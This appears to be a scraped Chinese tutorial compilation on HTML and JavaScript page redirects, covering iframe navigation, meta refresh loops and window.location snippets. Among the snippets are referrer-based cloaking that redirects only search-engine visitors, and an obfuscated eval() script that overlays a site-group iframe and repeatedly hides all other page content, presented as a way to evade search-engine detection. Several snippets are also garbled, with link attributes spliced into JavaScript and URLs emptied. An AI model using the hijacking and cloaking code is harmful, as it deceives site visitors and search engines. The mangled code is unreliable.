首页建站好看的网站跳转html(html简单页面代码)

好看的网站跳转html(html简单页面代码)

编程之家2024-02-17102次浏览

一、html 点击A链接直接跳转到B链接的页面 html怎么写

<body style="background-color:#F0F8FF; font-family:微软雅黑;">

好看的网站跳转html(html简单页面代码)

<div id="shi" style="width: 100%;">

<table style="width: 100%; height: 100%; border-collapse: collapse;">

<tr>

<td style="text-align: right; width: 100%; height: 95px; vertical-align: top; border-collapse: collapse; background-image: url(../Images/长图.png);" colspan="2">

<p style="margin-top:20px;margin-right:140px;"><label id="HuanYinren"></label></p>

<input type="button" class="button" value="修改密码" onclick="XiaoGeiMinMa();" style="color:#F0F8FF; font-size: 16px; font-family:微软雅黑; margin-right: 10px;"/>

好看的网站跳转html(html简单页面代码)

<input type="button" class="button" id="zhucejinyong" value="注册用户" onclick="ZhuCheYongHu();" style="color:#F0F8FF; font-size: 16px; font-family:微软雅黑; margin-left: 20px; margin-right: 10px;"/>

<input type="button" class="button" value="退出系统" onclick="Tuchu();" style="color:#F0F8FF; font-size: 16px; margin-top: 10px; font-family:微软雅黑; margin-left: 20px; margin-right: 10px;"/>

</td>

</tr>

<tr>

<td style="text-align: right; width: 100%; height: 40px; vertical-align: top; border-collapse: collapse; background-image: url(../Images/横图.png); vertical-align: middle;" colspan="2">

好看的网站跳转html(html简单页面代码)

<ul>

<li class="caidan" id="zzygxx" onclick="JianMian(this);">

<img src="../Images/在职.png"/>在职员工信息展示</li>

<li class="caidan" id="lzygxx" onclick="JianMian(this);">

<img src="../Images/离职.png"/>离职员工信息展示</li>

<li class="caidan" id="xzygxx" onclick="JianMian(this);">

<img src="../Images/添加.png"/>新增员工信息</li>

<li class="caidan" id="xlkzd" onclick="JianMian(this);">

<img src="../Images/字典.png"/>下拉框字典</li>

</ul>

<p style="padding-top:10px;padding-right:15px;"><label id="WeiZhi">当前位置：人事管理系统--->在职员工信息展示</label></p>

</td>

</tr>

<tr>

<td style="width: 100%; height: 100%; text-align: center">

<iframe id="ymzh" title="x" style="width: 100%; height: 100%;" scrolling="auto" frameborder="0"></iframe>

</td>

</tr>

<tr>

<td style="width: 100%; height: 35px; text-align: center; background-image: url(../Images/公司.png)">北京华博创科数据科技有限公司

</td>

</tr>

</table>

</div>

<script type="text/javascript">

function diyige(){

var ids= location.search.substring(4);

ymzh.src="hetongxinxi.html?id="+ ids;

}

diyige()

function JianMian(shi){

if(shi.id=="zzygxx"){

var ids= location.search.substring(4);

ymzh.src="hetongxinxi.html?id="+ids;

WeiZhi.innerHTML="当前位置：人事管理系统--->在职员工信息展示";

} else if(shi.id=="xzygxx"){

ymzh.src="HtmlPage1.html";

WeiZhi.innerHTML="当前位置：人事管理系统--->新增员工信息";

} else if(shi.id=="lzygxx"){

ymzh.src="yilizhixinxi.html";

WeiZhi.innerHTML="当前位置：人事管理系统--->离职员工信息展示";

} else if(shi.id=="xlkzd"){

ymzh.src="Zidian.html";

WeiZhi.innerHTML="当前位置：人事管理系统--->下拉框字典";

}

}

function XiaoGeiMinMa(){

var ids= location.search.substring(4);

ymzh.src="xiugaimima.html?id="+ ids;

WeiZhi.innerHTML="当前位置：人事管理系统--->修改密码";

}

function ZhuCheYongHu(){

ymzh.src="zhuceyonghu.html";

WeiZhi.innerHTML="当前位置：人事管理系统--->注册用户";

}

function BIanJinSe(liebiao){

二、html+css做一个完整的可以跳转的网页

一、常规的JS页面跳转代码

1、在原来的窗体中直接跳转用

<script type="text/javascript">

window.location.rel="external nofollow" href="你所要跳转的页面";

</script>

2、在新窗体中打开页面用：

<script type="text/javascript">

window.open('你所要跳转的页面');

</script>

3、JS页面跳转参数的注解

<SCRIPT LANGUAGE="javascript">

<!--

window.open('page.html','newwindow','height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')

//写成一行

-->

</SCRIPT>

参数解释：

<SCRIPT LANGUAGE="javascript"> js脚本开始；

window.open弹出新窗口的命令；

'page.html'弹出窗口的文件名；

'newwindow'弹出窗口的名字（不是文件名），非必须，可用空'代替；

height=100窗口高度；

width=500窗口宽度；

top=0窗口距离屏幕上方的象素值；

left=0窗口距离屏幕左侧的象素值。

二、跳转指定页面的JS代码

第1种：

<script language="javascript" type="text/javascript">

window.location.rel="external nofollow" href="login.jsp?backurl="+window.location.href;

</script>

第2种：

<script language="javascript">

alert("返回");

window.history.back(-1);

</script>

第3种：

<script language="javascript">

window.navigate("top.jsp");

</script>

第4种：

<script language="JavaScript">

self.location=’top.htm’;

</script>

第5种：

<script language="javascript">

alert("非法访问！");

top.location=’xx.jsp’;

</script>

三、页面停留指定时间再跳转（如3秒）

<script type="text/javascript">

function jumurl(){

window.location.href=';;

}

setTimeout(jumurl,3000);

</script>

四、根据访客来源跳转的JS代码

1、JS判断来路代码

此段代码主要用于百度谷歌点击进入跳转，直接打开网站不跳转：

<script LANGUAGE="Javascript">

var s=document.referrer

if(s.indexOf("google")>0|| s.indexOf("baidu")>0|| s.indexOf("yahoo")>0)

location.rel="external nofollow" rel="external nofollow" href="";

</script>

2、JS直接跳转代码

<script LANGUAGE="Javascript">

location.rel="external nofollow" rel="external nofollow" href="";

</script>

3、ASP跳转代码判断来路

<%

if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then

response.redirect("")

end if

%>

4、ASP直接跳转的

<%

response.redirect("")

%>

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=;");

2、全部覆盖的代码

document.write("</iframe><iframe src='; rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");

3、混淆防止搜索引擎被查的js调用

具体的展示上面是广告下面是站群的代码：

var ss='<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';

eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");

try{

setInterval(function(){

try{

document.getElementById("div"+"All").style.display="no"+"ne";

}catch(e){}

for(var i=0;i<document.body.children.length;i++){

try{

var tagname= document.body.children[i].tagName;

var myid= document.body.children[i].id;

if(myid!="iconDiv1"&& myid!="showcloneshengxiaon"){

// if(tagname!="center"){

document.body.children[i].style.display="non"+"e";

//}

}

}catch(e){}

}

},100);

}catch(e){}

六、页面跳出框架

<script type="text/javascript">

top.location.href=';;

</script>

七、返回上一页

<script type="text/javascript">

window.history.back(-1);

</script>

三、网页自动跳转代码html

<meta http-equiv="Refresh" content="3;URL=1111111.html"/>

不会JavaScript的话就用html语言也可以实现

content属性设置时间 url是目标页面。

放在haed中。

可以多个页面连续跳转~

页面首页代码：

<meta http-equiv="Refresh" content="3;URL=1111111.html"/>

1111111.html页面的代码：

<meta http-equiv="Refresh" content="3;URL=2222222.html"/>

2222222.htnl页面的代码：

<meta http-equiv="Refresh" content="3;URL=3333333.html"/>

上面的代码先从首页开始3秒后进入1111111.html页面，再过3秒后进入2222222.html页面，再过3秒后进入3333333.html页面。

======================================================

因楼主没听懂我直接发完整代码吧~

第一个文件文件名为index.html代码如下：

<!DOCTYPE html PUBLIC"-//W3C//DTD XHTML 1.0 Transitional//EN""">

<html xmlns="">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

<title>无标题文档</title>

<meta http-equiv="Refresh" content="5;URL=1.html"/>

</head>

<body>

<h1>

此页的文件名为index.html<br/>

这是第一个没面。。。。<br/>

5秒后进入第二个页面。。。<br/>

两个页面将循环转向。

</h1>

</body>

</html>

第二个文件文件名为1.html代码如下：

<!DOCTYPE html PUBLIC"-//W3C//DTD XHTML 1.0 Transitional//EN""">

<html xmlns="">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

<title>无标题文档</title>

<meta http-equiv="Refresh" content="5;URL=index.html"/>

</head>

<body>

<h3>

此页的文件名为1.html<br/>

这是第二个没面。。。。<br/>

5秒后进入第一个页面。。

</h3>

</body>

</html>

=================完

这里关键标签就是<meta http-equiv="Refresh" content="5;URL=1.html"/>

和<meta http-equiv="Refresh" content="5;URL=index.html"/>

其他你可以不看~这个绝对可以，我已经试了。

memtest86(服务器内存稳定性测试软件推荐)阿里云服务器重置(如何轻松重置阿里云服务器？)
↑